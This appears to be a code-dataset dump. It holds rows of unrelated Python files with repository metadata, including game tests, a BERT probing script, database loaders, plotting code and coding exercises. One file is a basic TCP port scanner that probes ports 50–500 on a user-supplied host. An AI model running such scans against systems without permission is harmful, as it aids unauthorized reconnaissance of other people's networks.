blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
5
133
path
stringlengths
2
333
src_encoding
stringclasses
30 values
length_bytes
int64
18
5.47M
score
float64
2.52
5.81
int_score
int64
3
5
detected_licenses
listlengths
0
67
license_type
stringclasses
2 values
text
stringlengths
12
5.47M
download_success
bool
1 class
d53a435f6642944721885c1234296992b5d2ef3e
Python
fullofhope336/Dungeon-Escape-RPG
/test_combat_round_with_boss.py
UTF-8
3,686
3.03125
3
[]
no_license
import io from unittest import TestCase from unittest.mock import patch from game import combat_round_with_boss class TestCombatRoundWithBoss(TestCase): @patch('random.randint', side_effect=[30, 15, 30, 30]) def test_is_character_hp_great_than_zero_when_defeat_boss(self, mock_randint): boss = {'hp': 30, 'location': [5, 5], "min_damage": 20, "max_damage": 30} character = {"hp": 30, 'level': 3, 'exp': 650, 'location': [3, 3], "min_damage": 20, "max_damage": 30} combat_round_with_boss(character, boss) self.assertGreater(character['hp'], 0) @patch('random.randint', side_effect=[15, 30, 30, 30]) def test_is_boss_hp_great_than_zero_when_character_dead(self, mock_randint): boss = {'hp': 30, 'location': [5, 5], "min_damage": 20, "max_damage": 30} character = {"hp": 30, 'level': 3, 'exp': 650, 'location': [3, 3], "min_damage": 20, "max_damage": 30} combat_round_with_boss(character, boss) self.assertGreater(boss['hp'], 0) @patch('random.randint', side_effect=[30, 15, 30, 30]) @patch('sys.stdout', new_callable=io.StringIO) def test_if_character_defeats_boss(self, mock_stdout, mock_randint): boss = {'hp': 30, 'location': [5, 5], "min_damage": 20, "max_damage": 30} character = {"hp": 30, 'level': 3, 'exp': 650, 'location': [3, 3], "min_damage": 20, "max_damage": 30} combat_round_with_boss(character, boss) the_game_printed_this = mock_stdout.getvalue() expected_output = "You attacked the Boss. The boss lost 30 HP.\n" \ "The Boss has been defeated!. \n" \ " You have saved all the Pokemon!\n\n" \ """ # # ####### # # ## ##### ##### # # # # # ##### # # # #### # # # # # # # # # # # ## # # # # ## # # # ####### # # # # # # # ##### # # # # # # # # # # # # ###### ##### ##### # # # # # # # # # # # # ### # # # # # # # # # ## # # # # ## # # # # # # # # # ####### # # ##### # # # #### \n""" self.assertEqual(expected_output, the_game_printed_this) @patch('random.randint', side_effect=[15, 30, 30, 30]) @patch('sys.stdout', new_callable=io.StringIO) def test_if_character_dead(self, mock_stdout, mock_randint): boss = {'hp': 30, 'location': [5, 5], "min_damage": 20, "max_damage": 30} character = {"hp": 30, 'level': 3, 'exp': 650, 'location': [3, 3], "min_damage": 20, "max_damage": 30} combat_round_with_boss(character, boss) the_game_printed_this = mock_stdout.getvalue() expected_output = "The Boss attacked you. You lost 30 HP\n\n" \ """ # # ###### # # #### # # # # # ###### ##### # # # # # # # # # # # # # # # # # # # # ##### # # # # # # # # # # # # # # # # # # # # # # # # # #### #### ###### # ###### #####  ** You failed to save the Pokemon. They continue to be experimented on. **\n""" self.assertEqual(expected_output, the_game_printed_this)
true
0a356d686c76bd8ba3ebb3ad37460c3fd1183b32
Python
alexandsquirrel/Learnability-Semantic-Universals
/probing_classifier.py
UTF-8
3,529
2.53125
3
[]
no_license
import torch from transformers import BertTokenizer, BertModel import h5py import logging logging.basicConfig(level=logging.INFO) # put this method in "quant_verify" to save outputs def make_hdf5_file(self, out_fn: str): """ Given a list of sentences, tokenize each one and vectorize the tokens. Write the embeddings to out_fn in the HDF5 file format. The index in the data corresponds to the sentence index. """ sentence_index = 0 hidden_rep = [] with h5py.File(out_fn, 'w') as fout: for sentence in hidden_rep: try: embeddings = self.vectorize(sentence) except: continue fout.create_dataset(str(sentence_index), embeddings.shape, dtype='float32', data=embeddings) sentence_index += 1 # load (vocabulary) tokenizer = BertTokenizer.from_pretrained('bert-base-uncased') texts = [] batch_size = len(texts) sen_lengths = [] token_texts = [] seg_ids = [] for text in texts: t = tokenizer.tokenize(text) t[2] = '[MASK]' sen_lengths.append(len(t)) seg_id = [] for i in range(len(t)): seg_id.append(0) id = tokenizer.convert_tokens_to_ids(t) for i in range(10 - len(t)): seg_id.append(0) id.append(0) # padding token_texts.append(id) seg_ids.append(seg_id) print(token_texts) print(seg_ids) tokenized_text2 = ['[CLS]', 'Trees', '[MASK]', 'not', 'growing', '.', '[SEP]'] indexed_tokens2 = tokenizer.convert_tokens_to_ids(tokenized_text2) for i in range(10 - len(indexed_tokens2)): indexed_tokens2.append(0) # padding segments_ids2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0] sen_length2 = 7 tokens_tensor2 = torch.tensor([indexed_tokens2]) segments_tensors2 = torch.tensor([segments_ids2]) model = BertModel.from_pretrained('bert-base-uncased') model.eval() ''' tokens_tensor = tokens_tensor.to('cuda') segments_tensors = segments_tensors.to('cuda') model.to('cuda') ''' # Predict hidden states features for each layer with torch.no_grad(): output = [] for i in range(batch_size): out = model(torch.tensor([token_texts[i]]), token_type_ids=torch.tensor([seg_ids[i]])) output.append(out) outputs2 = model(tokens_tensor2, token_type_ids=segments_tensors2) encoded_layers2 = outputs2[0] new_layer0 = encoded_layers2[0] # print(layer0[0,:]) # Regression for length # class LinearRegression(torch.nn.Module): def __init__(self): super(LinearRegression, self).__init__() self.linear1 = torch.nn.Linear(768, 1) def forward(self, x): x = self.linear1(x) return x model_classify = LinearRegression() loss_function = torch.nn.MSELoss() optimizer = torch.optim.Adam(model_classify.parameters(), lr=0.001) model_classify.train() for epoch in range(300): for i in range(batch_size): out = output[i] encoded_layers = out[0] layer0 = encoded_layers[0] x_data = torch.Tensor(layer0[0,:]) y_data = torch.Tensor([sen_lengths[i]]) optimizer.zero_grad() # Forward pass y_pred = model_classify(x_data) # Compute Loss loss = loss_function(y_pred, y_data) # Backward pass loss.backward() optimizer.step() ########### print('\n') new_x = torch.Tensor(new_layer0[0,:]) y_pred = model_classify(new_x) print("Predicted value: ", y_pred)
true
c4220d3f1481caaad904db59f56c0c1afd4ab2b8
Python
aa0228/fakeReviewFilterWeb
/fakeReviewFilterWeb/core/infoDatabase/loadFileToDatabase.py
UTF-8
5,149
2.84375
3
[]
no_license
from os import path from datetime import datetime from traceback import print_exc from .dbSession import dbSession as Session from .reviewModels import (Review, ReviewUser, ProductType, Product) from ..coreAlgorithm.textAnalyzer import TextAnalysisMaxSSaver class LoadReviewDataFromFileToDB: __valueMap = {'product/productId': 'productId', 'product/title': 'productTitle', 'product/price': 'productPrice', 'review/userId': 'reviewUserId', 'review/profileName': 'reviewUserName', 'review/helpfulness': 'reviewDoLikeCount', 'review/score': 'reviewScore', 'review/time': 'reviewTime', 'review/summary': 'reviewSummary', 'review/text': 'reviewContent'} __linesCount = 10 def __init__(self, filepath, productTypeName=None): assert path.exists(filepath), "{} doesn't exists!".format(filepath) self.__filepath = filepath self.__addedUserIdSet = set() self.__addedProductIdSet = set() self.__productTypeId = None self.__productTypeName = productTypeName def __retriveDataFromLinesAndStoreToDB(self, session, lines): ''' lines are like this: product/productId: B002BNZ2XE product/title: in product/price: 0.00 review/userId: A2Z8GGXKF1W48Y review/profileName: Everlong Gone review/helpfulness: 3/3 review/score: 4.0 review/time: 1202428800 review/summary: Jack Wagner Rocks review/text: 1 ''' data = {} for line in lines: key, value = line.split(': ', 1) assert key in LoadReviewDataFromFileToDB.__valueMap, key key = LoadReviewDataFromFileToDB.__valueMap[key] data[key] = value if data['reviewUserId'] not in self.__addedUserIdSet: user = ReviewUser() user.id = data['reviewUserId'] user.name = data['reviewUserName'] if not user.checkExists(session): session.add(user) if data['productId'] not in self.__addedProductIdSet: product = Product() product.id = data['productId'] product.name = data['productTitle'] # price可能显示为unknown,所以防止不能转化为float时,要指定一个值 try: product.price = float(data['productPrice']) except: product.price = -1 product.productTypeId = self.__productTypeId if not product.checkExists(session): session.add(product) review = Review() review.productTypeId = self.__productTypeId review.productId = data['productId'] review.reviewUserId = data['reviewUserId'] likeCount, totalCount = (int(x) for x in data['reviewDoLikeCount'].split('/')) review.reviewUsefulCount = likeCount review.reviewVotedTotalCount = totalCount review.reviewTime = datetime.utcfromtimestamp(int(data['reviewTime'])) review.reviewScore = data['reviewScore'] review.reviewSummary = data['reviewSummary'] review.reviewContent = data['reviewContent'] session.add(review) def loadReviewDataFromFileToDB(self): productType = ProductType() if self.__productTypeName is None: index = self.__filepath.rfind('/') self.__productTypeName = self.__filepath[index + 1:].split('.')[0] productType.name = self.__productTypeName session = Session() session.add(productType) # 必需commit,才能知道productTypeId session.commit() self.__productTypeId = productType.id with open(self.__filepath, 'r') as file: canContinue = True count = 0 while canContinue: count += 1 print(count) # readlines 并不会返回指定行数,不知道为什么(这里感觉有点坑 # lines = file.readlines(LoadReviewDataFromFileToDB.\ # __linesCount) lines = [file.readline().rstrip('\n') for i in range(LoadReviewDataFromFileToDB.__linesCount)] if not all(lines): print("there's something with lines :{}".format(lines)) break self.__retriveDataFromLinesAndStoreToDB(session, lines) canContinue = file.readline() try: session.commit() except Exception as e: session.rollback() print_exc(e) raise e finally: session.close() # 更新textAnalysis中的最大值 textAnalysisMaxSSaver = TextAnalysisMaxSSaver() textAnalysisMaxSSaver.addAnProductTypeId(self.__productTypeId) textAnalysisMaxSSaver._saveData() def loadFileToDatabase(filepaths): for filepath in filepaths: LoadReviewDataFromFileToDB(filepath).loadReviewDataFromFileToDB()
true
e2a91d9b2a5187c623fc9c499a42f2716f337aa0
Python
Ketan14a/OMDB-Movies-project
/Printing_the_Imported_Data.py
UTF-8
567
2.90625
3
[]
no_license
# Importing PyMongo for accessing MongoDB import pymongo # Establishing the Connection to the database myclient = pymongo.MongoClient("mongodb://localhost:27017/") mydb = myclient["OMDB_movies_db"] mycol = mydb["my_OMDB_collection"] # Accessing Tweets from MongoDB for x in mycol.find(): print("Title:"+ x['Title']) print("Year:"+ str(x['Year'])) print("IMDB_ID:"+x['IMDB_ID']) print("Type:"+x['Type']) print("Genre:"+x['Genres']) print("Plot:"+x['Plots']) print("IMDB Ratings:"+x['IMDB_ratings']) print("Awards:"+ x['Awards']) print() print()
true
ae4e20fec8d8cbbf465deee3298c8da0674e3dbd
Python
dnowuser/HAX121
/P024_06.py
UTF-8
524
3.359375
3
[]
no_license
# HAX 121 2020 Python (3.6.0) Submission Template # Please fill out the info fields below for identification # Do not modify any part of the template # Team Name: Copiolis # Team Number: P024 # Problem Number: 06 import array import math import re import string # Class and function definitions: # Main program: s = input() nums = s.split() for i in range(3): nums[i] = int(nums[i]) if (nums[0]**2 + nums[1]**2 == nums[2]**2): print(int(0.5 * nums[0] * nums[1])) else: print(0)
true
418252665e71713da428cc1a592afd51dc600a25
Python
lacklust/coding-winter-session
/notes/week_1/functions.py
UTF-8
4,125
4.875
5
[ "MIT" ]
permissive
""" the purpose of this lesson is to learn about functions functions are of two forms (more than two but we will consider only two): built-in and user-defined functions built-in: (provided by the system - python) examples: --> print() --> type() in math: a function is a relation in which for every input, there is always a unique output in code: a function is a relation in which 0 or more inputs perform a specific action, and 0 or more outputs (of the function) may be given as long as an action is performed (i.e. functionality), the function serves its purpose any task that must be done should be done in a function MAIN ADV: code reuse RULES: --> the rules of naming functions is EXACTLY the same way as the rules of variables (identifier or names --> namespace) --> there are some other things to consider when dealing with functions, which we will deal with later SKELETON: def function_name(parameter1, parameter2, ...): ... this is where the code to the function goes ... NOTES: --> there are two parts of any function: 1) defining a function: telling the system what the function does // function definition 2) calling a function: using the function itself // function call """ """ for built-in functions, the definition is already in the python environment i.e. the system already knows what that function does all we need to do is use it (call it) """ """ functions in math: ex 1: f(x) = 2x + 4 // a linear function --> a line ^ that x is called the parameter / argument of the function --> it's anything you pass into it f(2) = 2 * 2 + 4 = 8 f(-5) = 2 * (-5) + 4 = -6 my_variable = f(2) # my_variable holds the value of 8 ex 2: f(x, y) = 3x - 7y + xy // a multivariable function that defines a surface (non-convex) ==> x and y are called parameters, f is the name of the function f(0, 1) : 3 * 0 - 7 * 1 + 0 * 1 = -7 f(1, 1) : 3 * 1 - 7 * 1 + 1 * 1 = -3 z = f(1, 1) z holds the value of -3 IN CODE: a function can have zero or more parameters a function does not NEED to output / return anything back to you """ # print("check this line out") # print() # print("here", 17) # x = 16 # print(x) # print("here is\n") # \n --> newline character # z = 16. # print("my variable z holds the value of", z) # print("my variable z holds the value of %s" % z) # print("my variable z holds the value of {}".format(z)) # print(f"my variable z holds the value of {z}") """ the type function is a built-in function that returns the type of the variable passed in """ # x = 14 # type_of_x = type(x) # print(type(x)) # my_string = "this is an example of a string" # print(type(my_string)) # is_smart = False # True and False are keywords --> they hold a boolean # print(f"am i really smart? {is_smart}") # print(f"whats the type of smart? {type(is_smart)}") """ TAKEAWAYS: --> keywords cannot be used as variable names --> how the print function works --> how the type function works """ # print(f"what happening here? {type()}") # type function NEEDS either 1 argument or 3 arguments """ USER DEFINED FUNCTIONS: """ # from line 109 to 116 is a part of the function of random_function def random_function(argument1: int, argument2: int): # this line # this line # and even this line # are all a part of the function definition of the function random_function x = 15 y = 17 print("i am inside random_function and i am getting called") # if i want to call the random_function, i need to use its name and pass in any required arguments # random_function(20, 21) # random_function() # TypeError """ not all functions must return something: recall: - print function doesn't return anything, it simply outputs to the screen (this is the "task" that it performs) - type does return something, it returns what the type of the variable passed in as an argument is how do we return something: using the return keyword """ """ NOTE: to specify the cutoff point for digits, you can use :.4f in your format strings """ cost = 85.898765 # print(f"your cost is ${cost}") # print("your cost is $%.2f" % cost) print(f"your cost is ${cost:.2f}")
true
ef8c67e4918fea2192e9143fca89a1ed49955dbb
Python
DominikBeese/DidAIGetMoreNegativeRecently
/Analysis/DistributionOfStance/DistributionOfNegativeStancePerYearAndVenue.py
UTF-8
2,552
2.75
3
[ "CC-BY-4.0" ]
permissive
from matplotlib import pyplot as plt from matplotlib import ticker as mtick import seaborn as sns import pandas as pd import numpy as np from scipy.ndimage import gaussian_filter1d sns.set_theme(style='whitegrid') VENUES = ['ACL', 'EMNLP', 'COLING', 'NAACL', 'SemEval', 'CoNLL', 'CL', 'TACL', 'NeurIPS', 'AAAI', 'ICML', 'ICLR'] dfs = [pd.read_json(r'../../Data/Model Predicted Data/%s-Predictions.json' % ds) for ds in ['NLP', 'ML']] dfs = [df[['year', 'venue', 'url', 'stance']] for df in dfs] cp = sns.color_palette()[:8] + sns.color_palette('muted')[:8] def replaceNaN(s): r, p = dict(), None for x in s.index: if not np.isnan(s[x]): r[x] = s[x] p = r[x] else: if p is None: p = s[x+1] r[x] = p return pd.Series(r) # negative stance per year and venue (Smooth Lineplot Grid) df = pd.concat(dfs) dft = df.copy(deep=True) dft['stance'] = np.where(dft['stance'] <= -0.1, 'Negative', 'Not Negative') dfl = list() for venue in VENUES: h = dft[dft['venue'] == venue] h = h.groupby(['stance', 'year']).size().reset_index().pivot(columns='stance', index='year', values=0).fillna(0) h = h.div(h.sum(1), axis=0).mul(100) h['Negative'] = gaussian_filter1d(replaceNaN(h['Negative']), sigma=2) dfl.append(h['Negative']) dft = pd.DataFrame(dict(zip(VENUES, dfl))) dft = dft.unstack().reset_index() dft = dft.rename(columns={'level_0': 'venue', 0: 'percentage'}) fig, (a, b, c) = plt.subplots(figsize=(5.4, 4.0), ncols=4, nrows=3) axes = [*a, *b, *c] for i, venue in enumerate(VENUES): ax = axes[i] show_xlabel = i>=4*2 show_ylabel = i%4==0 sns.lineplot(data=dft[dft['venue'] == venue], x='year', y='percentage', color=cp[i], ax=ax) ax.set_xlim((1982.15, 2022.85)) ax.set_ylim((0.3, 20)) ax.set_xticks([2000, 2020]) ax.set_xticklabels(['2000', '2020 ']) ax.set_yscale('log') ax.set_yticks([1, 10]) ax.yaxis.set_major_formatter(mtick.FuncFormatter(lambda x,_: str(int(x))+'%')) ax.tick_params(labelsize=10) ax.set_title(venue, fontsize=10.5, pad=2) ax.set_ylabel(None) if show_xlabel: ax.set_xlabel('Year') else: ax.set_xlabel(None) ax.tick_params(labelbottom=False) if show_ylabel: ax.set_ylabel('Papers') else: ax.set_ylabel(None) ax.tick_params(labelleft=False) plt.subplots_adjust(left=0.12, bottom=0.12, right=0.98, top=0.885, wspace=0.08, hspace=0.30) plt.suptitle('Distribution of Negative Stance per Year and Venue', fontsize='medium') plt.savefig('DistributionOfNegativeStancePerYearAndVenue.pdf') plt.show()
true
86c17e433676a06582e01acf50b084b9e828baa7
Python
tizz98/prospyr
/tests/test_nested_identified_resource.py
UTF-8
2,460
2.59375
3
[]
no_license
import mock from marshmallow import fields from nose.tools import assert_raises from prospyr.exceptions import ValidationError from prospyr.resources import NestedIdentifiedResource, Resource types = {'child': 'tests.test_nested_identified_resource.Child'} class NoneableParent(Resource): class Meta: pass child = NestedIdentifiedResource(types=types, allow_none=True) children = NestedIdentifiedResource(types=types, many=True, allow_none=True) class Parent(Resource): class Meta: pass child = NestedIdentifiedResource(types=types) children = NestedIdentifiedResource(types=types, many=True) class Child(Resource): class Meta: pass id = fields.Integer() deserialised = Parent( child=Child(id=1), children=[ Child(id=2), Child(id=3), ] ) serialised = { 'child': {'type': 'child', 'id': 1}, 'children': [ {'type': 'child', 'id': 2}, {'type': 'child', 'id': 3}, ] } def test_serialise(): with mock.patch('prospyr.resources.Identifier.valid_types', {'child'}): assert deserialised._raw_data == serialised def test_deserialise(): patch_path = 'tests.test_nested_identified_resource.Child.objects.get' with mock.patch(patch_path) as get: get.side_effect = lambda id: {'type': 'child', 'id': id} actual = Parent.from_api_data(serialised) get.assert_any_call(id=1) get.assert_any_call(id=2) get.assert_any_call(id=3) assert actual.child == serialised['child'] assert actual.children == serialised['children'] def test_allow_none(): raw = { 'child': {'type': None, 'id': None}, 'children': [ {'type': None, 'id': None}, {'type': None, 'id': None} ] } with assert_raises(ValidationError): Parent.from_api_data(raw) actual = NoneableParent.from_api_data(raw) assert actual.child is None assert actual.children == [None, None] with assert_raises(ValidationError): Parent(child=None, children=[None, None, None])._raw_data cooked = NoneableParent( child=None, children=[None, None, None] ) assert cooked._raw_data == { 'child': {'type': None, 'id': None}, 'children': [ {'type': None, 'id': None}, {'type': None, 'id': None}, {'type': None, 'id': None}, ] }
true
0180b0d0334defcc19232dcb7f4c08a34fd94917
Python
hoybyte/100DaysOfPython
/Days22-24/port_scanner.py
UTF-8
491
3.203125
3
[]
no_license
from socket import * import time start_time = time.time() if __name__ == '__main__': target = input('Enter the host to be scanned: ') target_IP = gethostbyname(target) print('Starting scan on host: ', target_IP) for i in range(50,500): port = socket(AF_INET, SOCK_STREAM) connection = port.connect_ex((target_IP,i)) if (connection == 0): print ('Port %d: OPEN' % (i)) port.close() print('Time take:', time.time() - start_time)
true
25ab5363713c0d2b040785e69af9a942038d64c9
Python
animewoman/py_ex
/expy13.py
UTF-8
230
3.21875
3
[]
no_license
#working with terminal input from sys import argv script, first, second, third = argv print("The script is called", script) print("Your first var is", first) print("Your second var is", second) print("Your third var is", third)
true
ecaa28143bcb2588557d560b41b2d849d0296340
Python
MrHamdulay/csc3-capstone
/examples/data/Assignment_3/swnrei001/question3.py
UTF-8
642
3.703125
4
[]
no_license
def frameMessage(message, repeat, thickness): for i in range(thickness): print('|' * i + '+' + ('-'*(len(message) + 2* (thickness - i))) + '+' + '|' * i) for i in range(repeat): print('|' * thickness, message, '|' * thickness) for i in range(thickness): print('|' * (thickness - i - 1) + '+' + ('-'*(len(message) + 2 * (i+ 1))) + '+' + '|' * (thickness - i - 1)) if __name__ == '__main__': msg = input("Enter the message:\n") repeat = eval(input("Enter the message repeat count:\n")) thickness = eval(input("Enter the frame thickness:\n")) frameMessage(msg, repeat, thickness)
true
c0ea4b45dfffc850cb06b609687889227f2bb906
Python
CUBigDataClass/SportsCanary
/Twitter_Utils/TwitterAPIKeySwitcher.py
UTF-8
5,206
2.828125
3
[]
no_license
import json import os from Eternal_Utils.CommonUtils import CommonUtils import logging class TwitterAPIKeyHandler: def __init__(self): self.api_key_array = [] self.number_of_keys = int(CommonUtils.get_environ_variable('NUMBER_OF_TWITTER_KEYS_AVAILABLE')) wd = os.getcwd() pos = wd.find("BigDataMonsters") if pos > 0: # pragma: no cover path = wd[0:pos+15] else: path = wd self.key_check_write_path = path + '/Twitter_Utils/data/Active_API_Log.json' self.logger = logging.getLogger(__name__) def get_api_keys_from_environment(self): """ Gets all API keys we have saved to our environment. :return: returns an array of individual dictionary entries with key info. """ for key in range(0, self.number_of_keys): app_key = 'TWITTER_APP_KEY_' + str(key) app_secret = 'TWITTER_APP_SECRET_' + str(key) oauth_token = 'TWITTER_OAUTH_TOKEN_' + str(key) oauth_token_secret = 'TWITTER_OAUTH_TOKEN_SECRET_' + str(key) app_key = CommonUtils.get_environ_variable(app_key) app_secret = CommonUtils.get_environ_variable(app_secret) oauth_token = CommonUtils.get_environ_variable(oauth_token) oauth_token_secret = CommonUtils.get_environ_variable(oauth_token_secret) individual_key = dict(app_key=app_key, app_secret=app_secret, oauth_token=oauth_token, oauth_token_secret=oauth_token_secret) self.api_key_array.append(individual_key) return self.api_key_array def check_which_key_to_use(self): """ Iterates through keys on disk to see which key is available for use. """ try: with open(self.key_check_write_path) as f: data = json.load(f) for idx, entry in enumerate(data): if not entry['in_use']: print entry self.update_json_file(data, idx) return idx # TODO - What do we do if none is found? return None except IOError: print 'File not found while checking which key to use in TwitterAPIKeys' return self.write_initial_keys_state_to_disk() def clear_api_key_at_index_for_use(self, index): """ Changes in_use for key at index to False :param index: index where key is located in our array of API keys """ try: with open(self.key_check_write_path) as f: data = json.load(f) if data[index]['in_use']: self.update_json_file(data, index) return True else: return False except IOError: print 'File not found while clearing key for use in TwitterAPIKeys' raise IOError except: self.logger.info('Error clearing key for use.') def update_json_file(self, json_file, index): """ Update key entry to opposite of it's entry. :param json_file: json_file of keys, format array[dict{}] :param index: index within array of json_file """ try: data = json_file if data[index]['in_use']: data[index]['in_use'] = False else: data[index]['in_use'] = True json_file = open(self.key_check_write_path, 'w') json_file.write(json.dumps(data)) print json_file json_file.close() return True except IOError: self.logger.exception(IOError) self.logger.error('File not found while updating JSON file in TwitterAPIKeys at ' + self.key_check_write_path) raise IOError # TODO - Create a makefile for clearing the keys API file for fresh installs in the future. def write_initial_keys_state_to_disk(self): """ When no keys are found in disk we write the number of keys """ key_array = [] for key in range(0, self.number_of_keys): key_name = 'Key_' + str(key) if key != 0: key_entry = {'key_name': key_name, 'in_use': False} else: key_entry = {'key_name': key_name, 'in_use': True} key_array.append(key_entry) content = json.dumps(key_array) try: with open(self.key_check_write_path, 'w+') as f: f.write(content) f.close() print 'Key file written' return 0 except IOError: self.logger.exception(IOError) self.logger.error('IOError while writing initial key state to disk in TwitterAPIKeys at ' + self.key_check_write_path) return None def delete_api_keys_file(self): try: os.remove(self.key_check_write_path) except OSError: print('No file to delete.')
true
faecbc36ae014fd5ffbf523432519484bf664142
Python
andrew-epstein/jira-graph-viz
/jira_graph_viz_config.py
UTF-8
958
2.59375
3
[ "MIT" ]
permissive
import configparser import os import jira class Configs: def __init__(self): self._config = self._get_config() self._username = self._config.get('Auth', 'username') self._password = self._config.get('Auth', 'password') self._url = self._config.get('Basic', 'url') def _get_config(self): SCRIPT_DIR = os.path.dirname(os.path.realpath(__file__)) config = configparser.ConfigParser() config.read(SCRIPT_DIR + '/instance/config.ini') return config def get_jira(self): if self._username != '' and self._password != '': return self.get_authed_jira() else: return self.get_unauthed_jira() def get_authed_jira(self): return jira.JIRA(basic_auth=(self._username, self._password), options={'server': self._url}) def get_unauthed_jira(self): return jira.JIRA(self._url) def get_url(self): return self._url
true
7a1cc9d1a40ebe7bda35a29992d85cfe64def4b2
Python
AlexandrT/instrument-ui-tests
/tests/test_product_list.py
UTF-8
1,457
2.515625
3
[]
no_license
import pytest import logging from helpers.utils import * from helpers.page import * logger = logging.getLogger('ui_site') PATH = '/instrument/' class TestAddProductFromList: """Test add product from list""" def setup_class(cls): logger.info('=================================================================') def teardown_class(cls): logger.info('-----------------------------------------------------------------') def setup_method(self, method): logger.info('==================TEST STARTED==================') logger.info(f"{self.__doc__} {method.__doc__}") def teardown_method(self, method): logger.info('------------------TEST FINISHED------------------') def test_with_bonuses(self, selenium, main_url): """with_bonuses""" selenium.get(main_url + PATH) products_list_page = ProductsListPage(selenium) product = products_list_page.get_product_with_bonuses() while not product: products_list_page.click_load_more() product = products_list_page.get_product_with_bonuses() selenium.execute_script("arguments[0].scrollIntoView();", product) saled_price = get_int(products_list_page.get_price(product).text) products_list_page.click_sale_button(product) price_after_adding = get_int(products_list_page.get_price_after_adding().text) assert(saled_price == price_after_adding)
true
99b76a7660d9601800de27e7952418d77136e99e
Python
wangxiaoyuwf/CoVigilantSystems
/json_to_sql_converter.py
UTF-8
1,626
2.828125
3
[]
no_license
#!/usr/bin/python3 # Author:Xiaoyu Wang # This file is used to convert the .json data to .sql data # data:11/12/2019 import json import codecs import argparse import os # read json file and write the context to the sql file def read_and_write_file(json_file_path, sql_file_path): json_f = open(json_file_path,"r",encoding='utf-8') sql_f = open(sql_file_path,"a",encoding='utf-8') (sqlfilepath, tempfilename) = os.path.split(sql_file_path) (sql_table_name, extension) = os.path.splitext(tempfilename) print("table name:", sql_table_name) for line in json_f: json2sql(sql_f, sql_table_name,line) def json2sql(sql_f, table_name,json_str): result_jstr = json.loads(json_str) # table name is same as json file name sql = 'insert into ' + table_name + '(' key_jstr = '' value_jstr = '"' for j in result_jstr.keys(): key_jstr = key_jstr+j+',' for i in result_jstr.values(): value_jstr = value_jstr+str(i)+'","' # print(sql+key_jstr[:-1]+') values('+value_jstr[:-2]+');') sql_f.write(sql+key_jstr[:-1]+') values('+value_jstr[:-2]+');\n') # python json_to_sql_converter.py jsonfilename, then it will create a sql file if __name__ == '__main__': parser = argparse.ArgumentParser( description='Convert Yelp Dataset data from json to sql' ) parser.add_argument( 'json_file', type=str, help='The json file to convert.', ) args = parser.parse_args() json_file = args.json_file sql_file = '{0}.sql'.format(json_file.split('.json')[0]) read_and_write_file(json_file, sql_file)
true
e43659be29373da03c76e828d86468c4430adef1
Python
bliiir/ras_python_core
/week_02/labs/05_functions/Exercise_03.py
UTF-8
280
4.34375
4
[]
no_license
''' Write a program with 3 functions. Each function must call at least one other function and use the return value to do something. ''' def first(val1): return(second(val1)*2) def second(val2): return(third(val2)*3) def third(val3): return(val3*4) print(first(2))
true
ba85742b42e78088dd7ccf4a20a7fecef33e9bd3
Python
ig248/s3migrate
/tests/test_api.py
UTF-8
1,512
2.59375
3
[ "MIT" ]
permissive
import s3migrate def test_yield_candidates(file_tree): """Test that pruning is done early.""" base_url, files = file_tree pattern = base_url + "/{ds}/type=three/{filename}.ext" candidates = list(s3migrate.api._yield_candidates(pattern)) assert len(candidates) == 2 def test_iterformats(file_tree): base_url, files = file_tree pattern = base_url + "/{ds}/type={type}/{filename}.ext" for idx_found, fmt in enumerate(s3migrate.iterformats(pattern)): assert pattern.format(**fmt) in files assert idx_found + 1 == len(files) def test_copy(file_tree): base_url, files = file_tree fmt_in = base_url + "/{ds}/type={type}/{filename}.ext" fmt_out = base_url + "/year={ds}/{filename}.{type}" s3migrate.copy(fmt_in, fmt_out, dryrun=False) new_files = list(s3migrate.iter(fmt_out)) assert len(new_files) == len(files) def test_move(file_tree): base_url, files = file_tree fmt_in = base_url + "/{ds}/type={type}/{filename}.ext" fmt_out = base_url + "/year={ds}/{filename}.{type}" s3migrate.move(fmt_in, fmt_out, dryrun=False) old_files = list(s3migrate.iter(fmt_in)) new_files = list(s3migrate.iter(fmt_out)) assert len(old_files) == 0 assert len(new_files) == len(files) def test_remove(file_tree): base_url, files = file_tree fmt_in = base_url + "/{ds}/type={type}/{filename}.ext" s3migrate.remove(fmt_in, dryrun=False) old_files = list(s3migrate.iter(fmt_in)) assert len(old_files) == 0
true
507ba1da92da5db51c2833c3329d77241b72cb9f
Python
JLMadsen/AdventOfCode
/2021/day09.py
UTF-8
1,413
3.234375
3
[ "MIT" ]
permissive
def get_adjacent(grid, i, j, pos=False): return [ grid[y][x] if not pos else [y, x] for a, b in [(1,0), (0,1), (-1,0),(0,-1)] if not ( (x := a + j) < 0 or (y := b + i) < 0 or x >= len(grid[0]) or y >= len(grid) )] low_points = [] def calc_risk(grid): global low_points risk = 0 for i, row in enumerate(grid): for j, value in enumerate(row): if all([value < a for a in get_adjacent(grid, i, j)]): risk += value + 1 low_points.append([i, j]) return risk def calc_basin(grid): global low_points basins = [] for point in low_points: if any([point in basin for basin in basins]): continue visited, queue = [point], [point] while queue: y1, x1 = queue.pop(0) for y2, x2 in get_adjacent(grid, y1, x1, True): if [y2, x2] not in visited and grid[y2][x2] != 9: visited.append([y2, x2]) queue.append([y2, x2]) basins.append(visited) basins = sorted( [*map(lambda x: len(x), basins)], reverse=True) return basins[0] * basins[1] * basins[2] if __name__ == "__main__": with open('input/day09.txt') as f: content = [*map(lambda x: [*map(lambda y: int(y), [c for c in x])] , f.read().split('\n')[:-1])] print(calc_risk(content)) # 436 print(calc_basin(content)) # 1317792
true
a0758dc69a5542ca6a810faefa008dcaed728ba3
Python
JosephLevinthal/Research-projects
/5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/225/users/3995/codes/1712_2504.py
UTF-8
215
3.171875
3
[]
no_license
v=int(input("virus:")) l=int(input("leucocitos:")) v1=float(input("percentual de v:")) l1=float(input("percentual de l:")) t=0 while(l<2*v): h=(v*v1)/100 v=v+h w=(l*l1)/100 l=l+w t=t+1 if(l>=2*v): print(t)
true
a53dbe183b39b271385565f5cede9815d7f8c591
Python
Red-Night-Aria/HIT-Compiler
/symbolTable.py
UTF-8
2,175
3
3
[]
no_license
